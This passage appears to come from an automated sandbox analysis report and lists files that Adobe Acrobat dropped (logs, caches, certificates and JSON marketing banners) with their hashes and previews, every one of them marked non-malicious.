                                                                                Preview:*...#................version.1..namespace-['O.o................next-map-id.1.Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/.0>...r................next-map-id.2.Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/.1O..r................next-map-id.3.Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/.2.\.o................next-map-id.4.Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/.3....^...............Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/..|.^...............Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/n..Fa...............Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/DQ..a...............Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/i.`do................next-map-id.5.Pnamespace-de635bf2_6773_4d83_ad16_

                                                                                C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

                                                                                Download File
                                                                                Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
                                                                                File Type:ASCII text
                                                                                Category:dropped
                                                                                Size (bytes):324
                                                                                Entropy (8bit):5.2013758012426985
                                                                                Encrypted:false
                                                                                SSDEEP:6:cFVq2Pwkn2nKuAl9OmbzNMxIFUt8L93SgZmw+L3IkwOwkn2nKuAl9OmbzNMFLJ:cvvYfHAa8jFUt8L9H/+LY5JfHAa84J
                                                                                MD5:8F164DE18E4AB605CF3EED7D3636CF86
                                                                                SHA1:0D2950DFA160977001809290114BF86433C6B5CC
                                                                                SHA-256:8153C5BBB741CCEA160653F4B72DE8831B9EA8A20E2F20F6F71B37F508326606
                                                                                SHA-512:521F36C637EBD81FFF5DEDB23AF454015E1D2DC123B7781BCA74F1FA1D667C18C194D77770362348533F1D97CAFBF3FCB65467E24D86E8002F87E553889291D6
                                                                                Malicious:false
                                                                                Preview:2024/10/08-18:01:32.667 1d50 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2024/10/08-18:01:32.671 1d50 Recovering log #3.2024/10/08-18:01:32.672 1d50 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

                                                                                C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

                                                                                Download File
                                                                                Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
                                                                                File Type:ASCII text
                                                                                Category:dropped
                                                                                Size (bytes):324
                                                                                Entropy (8bit):5.2013758012426985
                                                                                Encrypted:false
                                                                                SSDEEP:6:cFVq2Pwkn2nKuAl9OmbzNMxIFUt8L93SgZmw+L3IkwOwkn2nKuAl9OmbzNMFLJ:cvvYfHAa8jFUt8L9H/+LY5JfHAa84J
                                                                                MD5:8F164DE18E4AB605CF3EED7D3636CF86
                                                                                SHA1:0D2950DFA160977001809290114BF86433C6B5CC
                                                                                SHA-256:8153C5BBB741CCEA160653F4B72DE8831B9EA8A20E2F20F6F71B37F508326606
                                                                                SHA-512:521F36C637EBD81FFF5DEDB23AF454015E1D2DC123B7781BCA74F1FA1D667C18C194D77770362348533F1D97CAFBF3FCB65467E24D86E8002F87E553889291D6
                                                                                Malicious:false
                                                                                Preview:2024/10/08-18:01:32.667 1d50 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2024/10/08-18:01:32.671 1d50 Recovering log #3.2024/10/08-18:01:32.672 1d50 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

                                                                                C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ConnectorIcons\icon-241008220135Z-156.bmp

                                                                                Download File
                                                                                Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
                                                                                File Type:PC bitmap, Windows 3.x format, 117 x -152 x 32, cbSize 71190, bits offset 54
                                                                                Category:dropped
                                                                                Size (bytes):71190
                                                                                Entropy (8bit):1.6521638164525312
                                                                                Encrypted:false
                                                                                SSDEEP:96:ZJ4bz/d7sG2rZCEsqZPT9SYYoeu3pPxp8+u5vH+N:ZCi0YDrZcC
                                                                                MD5:FF2D488E6DAAD7074954000176B16D18
                                                                                SHA1:5EA770DF7F807FBD4A4DF76694BA01BE89170B21
                                                                                SHA-256:EF5BC27C8E58FA9A6B00506982FAD03CE1067678206C5A28C13780390EC9EC5B
                                                                                SHA-512:E5E0D1B1888C2EAD1A4672812FD1500C634A61A7A1818B075510D60BBEA229E47F3E2C055734467907827EBAA25CD18DF8B07458EB909A319D6CBF806EA84233
                                                                                Malicious:false
                                                                                Preview:BM........6...(...u...h..... ...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

                                                                                Download File
                                                                                Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
                                                                                File Type:SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
                                                                                Category:dropped
                                                                                Size (bytes):86016
                                                                                Entropy (8bit):4.445074293351816
                                                                                Encrypted:false
                                                                                SSDEEP:384:yezci5tsiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:rLs3OazzU89UTTgUL
                                                                                MD5:F40782C4AA50CB0F2D00A46D8232BEE4
                                                                                SHA1:E108A3AF9D772ED7A83AEA2430B7B23BA474FA01
                                                                                SHA-256:6A1425A5C892195A5AC526737763674AF4BBA864E7092C37CF028BC11331FCA5
                                                                                SHA-512:6E951F653B1EDA1987DB0005B2045274ABFE48B48D95E49B7395C6931FB0CF8AB188E277CAFCDF41F29ACE8D144993B536F99A70354CF5CEF456E29061F55C96
                                                                                Malicious:false
                                                                                Preview:SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

                                                                                Download File
                                                                                Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
                                                                                File Type:SQLite Rollback Journal
                                                                                Category:dropped
                                                                                Size (bytes):8720
                                                                                Entropy (8bit):3.7735551848168516
                                                                                Encrypted:false
                                                                                SSDEEP:48:7M5cp/E2ioyVMioy9oWoy1Cwoy1gKOioy1noy1AYoy1Wioy1hioybioyaoy1noyB:7ppjuMF3XKQ3Qb9IVXEBodRBkW
                                                                                MD5:0095C106DE12B0878013F4120497BD2E
                                                                                SHA1:1951763AC6B1E8803335B03F521D6A9136F64766
                                                                                SHA-256:2674A1BB49013D902ACF4502910D72D858D36B59CBCF42F70964186C2BCFAA76
                                                                                SHA-512:F3373E348671CE97F0D895927FE6C946B31117FCEE441E1403760E56EBA94CC065B5E6648A563D1201BE9ED59665A99DC5C6069BE08A500D5DD97206D15495F6
                                                                                Malicious:false
                                                                                Preview:.... .c......R.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

                                                                                Download File
                                                                                Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
                                                                                File Type:Certificate, Version=3
                                                                                Category:dropped
                                                                                Size (bytes):1391
                                                                                Entropy (8bit):7.705940075877404
                                                                                Encrypted:false
                                                                                SSDEEP:24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
                                                                                MD5:0CD2F9E0DA1773E9ED864DA5E370E74E
                                                                                SHA1:CABD2A79A1076A31F21D253635CB039D4329A5E8
                                                                                SHA-256:96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
                                                                                SHA-512:3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
                                                                                Malicious:false
                                                                                Preview:0..k0..S............@.YDc.c...0...*.H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0...*.H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I.....*.A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.|C.t..t.....0.[q6....00\H..;..}`...).........A.......|.;F.H*..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..|o..;.....'...}~.."......

                                                                                C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

                                                                                Download File
                                                                                Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
                                                                                File Type:Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
                                                                                Category:dropped
                                                                                Size (bytes):71954
                                                                                Entropy (8bit):7.996617769952133
                                                                                Encrypted:true
                                                                                SSDEEP:1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
                                                                                MD5:49AEBF8CBD62D92AC215B2923FB1B9F5
                                                                                SHA1:1723BE06719828DDA65AD804298D0431F6AFF976
                                                                                SHA-256:B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
                                                                                SHA-512:BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
                                                                                Malicious:false
                                                                                Preview:MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..*Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=*....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.|.c.&>?..^t. ..;..X.d.E.0G....[Q.*,*......#.Dp..L.o|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

                                                                                C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

                                                                                Download File
                                                                                Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):192
                                                                                Entropy (8bit):2.779094196322516
                                                                                Encrypted:false
                                                                                SSDEEP:3:kkFklf1MS+k31fllXlE/HT8k74tNNX8RolJuRdxLlGB9lQRYwpDdt:kKvS+9T8y4TNMa8RdWBwRd
                                                                                MD5:905B457ABF2975C6F49D81DFED3BF357
                                                                                SHA1:7FC80B01BBF46A9AD8EE6EC8138A62807B4122EB
                                                                                SHA-256:4AD6B79D436931D01849F200C975E01D9A4EA2D71A04395EC2EA0C959006BC02
                                                                                SHA-512:B80EADE4DA20C9EA7B6BD7C5D5748D5C79C1BF423543AD1D3F505005009C3EEF07F9A9DF973323C868B918821AE651433CFD74182794FA62753095246E159B12
                                                                                Malicious:false
                                                                                Preview:p...... ...............(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

                                                                                C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

                                                                                Download File
                                                                                Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
                                                                                File Type:data
                                                                                Category:modified
                                                                                Size (bytes):328
                                                                                Entropy (8bit):3.1314594359333454
                                                                                Encrypted:false
                                                                                SSDEEP:6:kKk8n9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:cDnLNkPlE99SNxAhUe/3
                                                                                MD5:100DF6D63FEFE304C9072024EE94E114
                                                                                SHA1:7F7D4EABA081929891F81DA76BE2C12F08E1C522
                                                                                SHA-256:2A2098540D5C6B44F670EDC1DA354BDC79168F2A83F090DB3F113AC6856D0A08
                                                                                SHA-512:C6BFFB02F752FA525DE771FFA80332E19EFA523E8DD2800EF3084AB3913298F93D485B2F4785FF69FD7E9BA06A1CA74B98207069D7A33B2946F82E64662EF151
                                                                                Malicious:false
                                                                                Preview:p...... ........o.L.....(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

                                                                                C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

                                                                                Download File
                                                                                Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
                                                                                File Type:JSON data
                                                                                Category:dropped
                                                                                Size (bytes):295
                                                                                Entropy (8bit):5.36607213193533
                                                                                Encrypted:false
                                                                                SSDEEP:6:YEQXJ2HX1QdV4HHVoZcg1vRcR0YGTD+XJ2xoAvJM3g98kUwPeUkwRe9:YvXKX1Qa2Zc0vXUJ2OGMbLUkee9
                                                                                MD5:299A3E42A94C78A83F6BD370403373A9
                                                                                SHA1:01B9192118466F6EB0B7CFDCFA9ACF3F7C566594
                                                                                SHA-256:621371DB656783D5F166EE0D8021CBB123843433388BE4E149CA9F71E4053FBC
                                                                                SHA-512:D29227CD997BCC1EBE9BEC8D42C9AEC30968D06AD78E925B515257B9FA83878D75850380C6294EF9CB66B9DCCE430484CA103B29911A238B90CA211099A627A5
                                                                                Malicious:false
                                                                                Preview:{"analyticsData":{"responseGUID":"a5eed5cf-629e-42a5-b2d6-5493f34a0821","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1728603218832,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

                                                                                C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

                                                                                Download File
                                                                                Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
                                                                                File Type:JSON data
                                                                                Category:dropped
                                                                                Size (bytes):294
                                                                                Entropy (8bit):5.313750182389171
                                                                                Encrypted:false
                                                                                SSDEEP:6:YEQXJ2HX1QdV4HHVoZcg1vRcR0YGTD+XJ2xoAvJfBoTfXpnrPeUkwRe9:YvXKX1Qa2Zc0vXUJ2OGWTfXcUkee9
                                                                                MD5:9201724F02D406E66F08F67BADB4C284
                                                                                SHA1:D29974146FD332AD6300B821FBF3125D491C1D35
                                                                                SHA-256:4FCDDF7C06DC793DE1C4AE3B6D4CEEA637E50E89B9FA42A4BE4D23F9F173F6A1
                                                                                SHA-512:75602AACD1A00973383C6F445D8037E078970812425C1FE72D3983E208C39DE9631B01D47B73109C84ACC7C75C9A4AD4111671E4E935F3495E59D82504101A06
                                                                                Malicious:false
                                                                                Preview:{"analyticsData":{"responseGUID":"a5eed5cf-629e-42a5-b2d6-5493f34a0821","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1728603218832,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

                                                                                C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

                                                                                Download File
                                                                                Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
                                                                                File Type:JSON data
                                                                                Category:dropped
                                                                                Size (bytes):294
                                                                                Entropy (8bit):5.293017976303841
                                                                                Encrypted:false
                                                                                SSDEEP:6:YEQXJ2HX1QdV4HHVoZcg1vRcR0YGTD+XJ2xoAvJfBD2G6UpnrPeUkwRe9:YvXKX1Qa2Zc0vXUJ2OGR22cUkee9
                                                                                MD5:E40FE3BD73F6D62C6F32597CB6512242
                                                                                SHA1:6913FB014F303843B24301E3386CF2B92FA2FD91
                                                                                SHA-256:EA31A70B121F80BF6A9074BA6B41DE5BB951094FFB4EEBAA26D9C544CFEABC7B
                                                                                SHA-512:76B7BB3775322D3FEEB9DF87826108A28CE99FED293945D3D8C63B034A3B22246630ADB9D677DBA6458B795C4CADA07A240DB99FC59403956189DC67A5485ED2
                                                                                Malicious:false
                                                                                Preview:{"analyticsData":{"responseGUID":"a5eed5cf-629e-42a5-b2d6-5493f34a0821","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1728603218832,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

                                                                                C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

                                                                                Download File
                                                                                Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
                                                                                File Type:JSON data
                                                                                Category:dropped
                                                                                Size (bytes):285
                                                                                Entropy (8bit):5.353177681836389
                                                                                Encrypted:false
                                                                                SSDEEP:6:YEQXJ2HX1QdV4HHVoZcg1vRcR0YGTD+XJ2xoAvJfPmwrPeUkwRe9:YvXKX1Qa2Zc0vXUJ2OGH56Ukee9
                                                                                MD5:2EB98C47708CF04269BCD28EC4B2336B
                                                                                SHA1:A419A1B6701BFDDE875ED35C657668D388A4E9D9
                                                                                SHA-256:7467DDA02F182985EF7DEFAF2718FCF1C19A727C7B38C51A83BC74F0CC472204
                                                                                SHA-512:2A540D4D18651B216E56834638216E12FF306301B7B7C92B91B701E83072420FF70B29A9252B8323D494CC930F317456C93F957ADB746CFAEBE08F182D744BB5
                                                                                Malicious:false
                                                                                Preview:{"analyticsData":{"responseGUID":"a5eed5cf-629e-42a5-b2d6-5493f34a0821","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1728603218832,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

                                                                                C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

                                                                                Download File
                                                                                Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
                                                                                File Type:JSON data
                                                                                Category:dropped
                                                                                Size (bytes):1091
                                                                                Entropy (8bit):5.6875702337771905
                                                                                Encrypted:false
                                                                                SSDEEP:24:Yv6X18zvEY7pLgE7cgD6SOGtnnl0RCmK8czOCYvS4:YvukcY7hgs6SraAh8cvYK4
                                                                                MD5:D3C05F531D2203DD0936A90B1A6ED330
                                                                                SHA1:69F171DBC52B0E37E555849F5D13A08B9A897B58
                                                                                SHA-256:57C2E02ABD57B5B01262677992D0817DE123A7B70BDDA2A49EDDEB01AE1C0E2B
                                                                                SHA-512:D171F58EF90EB2F1EFACDCFD41519ED1DCF86A527D2BB6BCC4B6AF10FCC4A4E9902F87988014D14A81EA1DE6F6DBD559F1DC0EE21F3B8491A1B7C6F4E0417D60
                                                                                Malicious:false
                                                                                Preview:{"analyticsData":{"responseGUID":"a5eed5cf-629e-42a5-b2d6-5493f34a0821","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1728603218832,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"89628_281075ActionBlock_2","campaignId":89628,"containerId":"1","controlGroupId":"","treatmentId":"67a3a874-888f-4d96-9f3d-26e70c3e0be1","variationId":"281075"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkNvbnZlcnQgUERGIGZpbGVzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNhdElkIjoiUkdTMDM1MS1FTlUtQ2hhbGxlbmdlcjIifQ==","dataType":"ap

                                                                                C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

                                                                                Download File
                                                                                Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
                                                                                File Type:JSON data
                                                                                Category:dropped
                                                                                Size (bytes):1050
                                                                                Entropy (8bit):5.651942390743624
                                                                                Encrypted:false
                                                                                SSDEEP:24:Yv6X18zvEY3VLgEF0c7sbnl0RCmK8czOCYHflEpwiVV:YvukcY3Fg6sGAh8cvYHWpw4
                                                                                MD5:00607A44799C09B677C2ACF1061A04AD
                                                                                SHA1:98E83CBF0F9BE2762DB8D026A27543E507B7CCCC
                                                                                SHA-256:87F302DD440D7CDEF5D97F3349E101BFE8B49D878825BC303E67304770EF1DA5
                                                                                SHA-512:A450F794655C24991A9AF288392EE27D2A69AD6B10ED7CD44848814C4BCC0D693E17212AC6336058F5123DF3901A156C2F23E01D69E5EAE255691A4F14B0D34E
                                                                                Malicious:false
                                                                                Preview:{"analyticsData":{"responseGUID":"a5eed5cf-629e-42a5-b2d6-5493f34a0821","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1728603218832,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Disc_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"85534_264855ActionBlock_0","campaignId":85534,"containerId":"1","controlGroupId":"","treatmentId":"0924134e-3c59-4f53-b731-add558c56fec","variationId":"264855"},"containerId":1,"containerLabel":"JSON for DC_Reader_Disc_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkNvbnZlcnQsIGVkaXQgYW5kIGUtc2lnblxuZm9ybXMgJiBhZ3JlZW1lbnRzLiJ9LCJ0Y2F0SWQiOm51bGx9","dataType":"application\/json","encodingScheme":true},"

                                                                                C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

                                                                                Download File
                                                                                Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
                                                                                File Type:JSON data
                                                                                Category:dropped
                                                                                Size (bytes):292
                                                                                Entropy (8bit):5.3017801799224085
                                                                                Encrypted:false
                                                                                SSDEEP:6:YEQXJ2HX1QdV4HHVoZcg1vRcR0YGTD+XJ2xoAvJfQ1rPeUkwRe9:YvXKX1Qa2Zc0vXUJ2OGY16Ukee9
                                                                                MD5:43A5B6248E3D026788946F8AE493516A
                                                                                SHA1:A46377766940CC3CC675B5771605D1538AB71916
                                                                                SHA-256:97E8A536CF83868845BC82BDD1EB781CB66BAA5E40A76F9801E13EDF440500FC
                                                                                SHA-512:C54C76454AA0862E1EC22B2DB2DA26565B4CE3A9C6D4C64538832507477AC8D80FFE332F0AD653CE87AEBB3F5EF5AA051949AC3B2CA4C971CD245F3A910F7174
                                                                                Malicious:false
                                                                                Preview:{"analyticsData":{"responseGUID":"a5eed5cf-629e-42a5-b2d6-5493f34a0821","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1728603218832,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

                                                                                C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

                                                                                Download File
                                                                                Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
                                                                                File Type:JSON data
                                                                                Category:dropped
                                                                                Size (bytes):1098
                                                                                Entropy (8bit):5.686745918251697
                                                                                Encrypted:false
                                                                                SSDEEP:24:Yv6X18zvEYm2LgEFcs2SOGt0nl0RCmK8czOCUaBtCrfS4:YvukcYmogq2SrhAh8cvUgEm4
                                                                                MD5:B8DA997A068234730935081DD7D598F5
                                                                                SHA1:511A14182E44F5FFB1327A103B65A072BB1605A3
                                                                                SHA-256:2CFCBC859C0251BE7730E8721F5907AF0B265DDD043D6FD4305A8A184275B576
                                                                                SHA-512:61DC3F679A3D569EA9AA0117224A1F3AFB21B3501BE678BA5B0A348480A12B8A5FF013F65F2B5D93414813C30EC418D6FFD8B15F5DBC2D83E7ABCFC1689C8AF9
                                                                                Malicious:false
                                                                                Preview:{"analyticsData":{"responseGUID":"a5eed5cf-629e-42a5-b2d6-5493f34a0821","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1728603218832,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Edit_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"89628_281075ActionBlock_0","campaignId":89628,"containerId":"1","controlGroupId":"","treatmentId":"abdf1d9d-2114-4953-95a6-4eed783b9872","variationId":"281075"},"containerId":1,"containerLabel":"JSON for DC_Reader_Edit_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IlR1cm4gc2Nhbm5lZCBwYXBlciBkb2N1bWVudHNcbmludG8gaW5zdGFudGx5IGVkaXRhYmxlIFBERnMuIn0sInRjYXRJZCI6IlJHUzAzNTEtRU5VLUNoYWxsZW5nZXIyIn0=","dataTy

                                                                                C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

                                                                                Download File
                                                                                Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
                                                                                File Type:JSON data
                                                                                Category:dropped
                                                                                Size (bytes):1164
                                                                                Entropy (8bit):5.7001771570133535
                                                                                Encrypted:false
